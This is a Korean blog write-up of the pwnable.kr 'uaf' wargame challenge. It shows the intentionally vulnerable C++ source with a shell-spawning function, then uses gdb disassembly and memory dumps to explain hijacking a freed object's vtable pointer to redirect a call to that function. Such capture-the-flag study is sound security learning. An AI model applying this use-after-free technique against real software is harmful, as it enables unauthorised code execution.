[Pwnable.kr] uaf 풀이 (8pt)
Wargame/pwnable.kr

[Pwnable.kr] uaf 풀이 (8pt)

풀이

Use After Free 취약점을 아는지 물어보는 문제이다. (나는 뭔지 몰라서 찾아봤다.)

다음은 uaf.cpp의 코드이다.

#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
        virtual void give_shell(){
                system("/bin/sh");
        }
protected:
        int age;
        string name;
public:
        virtual void introduce(){
                cout << "My name is " << name << endl;
                cout << "I am " << age << " years old" << endl;
        }
};

class Man: public Human{
public:
        Man(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
        Human* m = new Man("Jack", 25);
        Human* w = new Woman("Jill", 21);

        size_t len;
        char* data;
        unsigned int op;
        while(1){
                cout << "1. use\n2. after\n3. free\n";
                cin >> op;

                switch(op){
                        case 1:
                                m->introduce();
                                w->introduce();
                                break;
                        case 2:
                                len = atoi(argv[1]);
                                data = new char[len];
                                read(open(argv[2], O_RDONLY), data, len);
                                cout << "your data is allocated" << endl;
                                break;
                        case 3:
                                delete m;
                                delete w;
                                break;
                        default:
                                break;
                }
        }

        return 0;
}

오랜만에 보는 C++ 코드다.

모든 함수에 대해 알 필요는 없고, 풀이에 필요한 코드는 다음 부분이다.

case 1:
         m->introduce();
         w->introduce();
         break;
case 2:
         len = atoi(argv[1]);
         data = new char[len];
         read(open(argv[2], O_RDONLY), data, len);
         cout << "your data is allocated" << endl;
         break;
case 3:
         delete m;
         delete w;
         break;

입력 값이 1이면, Class에 introduce 함수를 실행한다.

입력 값이 2이면, argv[1]만큼 data를 할당하고 argv[2] 경로에 있는 값을 읽어 data에 저장한다.

입력 값이 3이면 m, w 객체를 삭제한다. (free)


먼저 /tmp 밑 경로에 아무 텍스트나 입력하고, uaf에 넣어보자. 나는 AAAA를 넣고 돌려봤다.

uaf@pwnable:~$ python -c 'print "AAAA"' | cat > /tmp/bjloed_uaf/AAAA

먼저 switch문에 해당하는 어셈을 찾아보도록 하자.

참고로, set print asm-demangle on을 해주면, gdb C++ 출력 스타일을 바꿀 수 있다.

0x0000000000400fb2 <+238>:   mov    eax,DWORD PTR [rbp-0x18]
0x0000000000400fb5 <+241>:   cmp    eax,0x2
0x0000000000400fb8 <+244>:   je     0x401000 <main+316>
0x0000000000400fba <+246>:   cmp    eax,0x3
0x0000000000400fbd <+249>:   je     0x401076 <main+434>
0x0000000000400fc3 <+255>:   cmp    eax,0x1
0x0000000000400fc6 <+258>:   je     0x400fcd <main+265>

eax에 해당하는 값(1,2,3)에 따라 분기점이 나뉘는 걸 봐서는, 해당 부분이 switch문 인듯하다.

3번은 볼 필요가 없을 듯하니, 1번부터 봐보자. main+265번째에 해당하는 곳으로 이동하자.

 0x0000000000400fcd <+265>:   mov    rax,QWORD PTR [rbp-0x38]
 0x0000000000400fd1 <+269>:   mov    rax,QWORD PTR [rax]
 0x0000000000400fd4 <+272>:   add    rax,0x8
 0x0000000000400fd8 <+276>:   mov    rdx,QWORD PTR [rax]
 0x0000000000400fdb <+279>:   mov    rax,QWORD PTR [rbp-0x38]
 0x0000000000400fdf <+283>:   mov    rdi,rax
 0x0000000000400fe2 <+286>:   call   rdx
 0x0000000000400fe4 <+288>:   mov    rax,QWORD PTR [rbp-0x30]
 0x0000000000400fe8 <+292>:   mov    rax,QWORD PTR [rax]
 0x0000000000400feb <+295>:   add    rax,0x8
 0x0000000000400fef <+299>:   mov    rdx,QWORD PTR [rax]
 0x0000000000400ff2 <+302>:   mov    rax,QWORD PTR [rbp-0x30]
 0x0000000000400ff6 <+306>:   mov    rdi,rax
 0x0000000000400ff9 <+309>:   call   rdx
 0x0000000000400ffb <+311>:   jmp    0x4010a9 <main+485>

먼저 main+269에 bp를 걸고, rax의 값을 봐보자.

Breakpoint 1, 0x0000000000400fd1 in main ()
(gdb) i r rax
rax            0x11b9c50        18586704

0x11b9c50이라는 값이 들어가있다. 해당 주소는 무슨 값을 가리키고 있는지 확인해보자.

(gdb) x/16x 0x11b9c50
0x11b9c50:      0x00401570      0x00000000      0x00000019      0x00000000

0x401570이라는 값이 들어가있다. 또 무슨 값을 가리키고 있는지 확인해보자.

(gdb) x/16x 0x401570
0x401570 <vtable for Man+16>:   0x0040117a      0x00000000      0x004012d2      0x00000000

0x40117a라는 값을 확인해보니, 우리가 찾던 give_shell 함수의 주소임을 알 수 있었다.

(gdb) x/16x 0x40117a
0x40117a <Human::give_shell()>: 0xe5894855      0x10ec8348      0xf87d8948      0x4014a8bf

이제 give_shell 함수의 주소를 알았으니, 우리가 입력한 값이 어디로 저장되는지 알아야한다.

아마도, rbp-0x38가 가리키고 있는 주소에 있을 듯하나, 혹시 모르니 확인해보자.

값을 free하고 재할당 해준 후, 확인해보자.

(참고로 2를 1번만 선택했을 경우에는, 왜인지 모르겠지만 빈 값이 들어가있다. 2번 해줘야 정상적으로 들어간다.)

0x0000000000400fd4 in main ()
(gdb) i r
rax            0x41414141       1094795585

해당 부분에 bp를 걸고 확인해보니, 역시 맞았다.

코드를 보아하니, m->introduce()를 실행시키기 전, rax에 0x8 값을 더해준다.

그렇다면 입력 부분에 give_shell 함수에서 0x8만큼 빼준 주소를 넣어주면 m->introduce()가 give_shell을 가리킬 것이다.

참고로 /tmp/bjloed_uaf/AAAA에는 AAAA가 아닌 give_shell 함수 주소에서 0x8만큼 뺀 주소가 적혀있다.

'Wargame > pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] memcpy 풀이 (10pt)  (0) 2020.07.27
[Pwnable.kr] asm 풀이 (6pt)  (0) 2020.07.27
[Pwnable.kr] blukat 풀이 (3pt)  (0) 2020.07.23
[Pwnable.kr] cmd2 풀이 (9pt)  (0) 2020.07.22
[Pwnable.kr] coin1 풀이 (6pt)  (0) 2020.07.22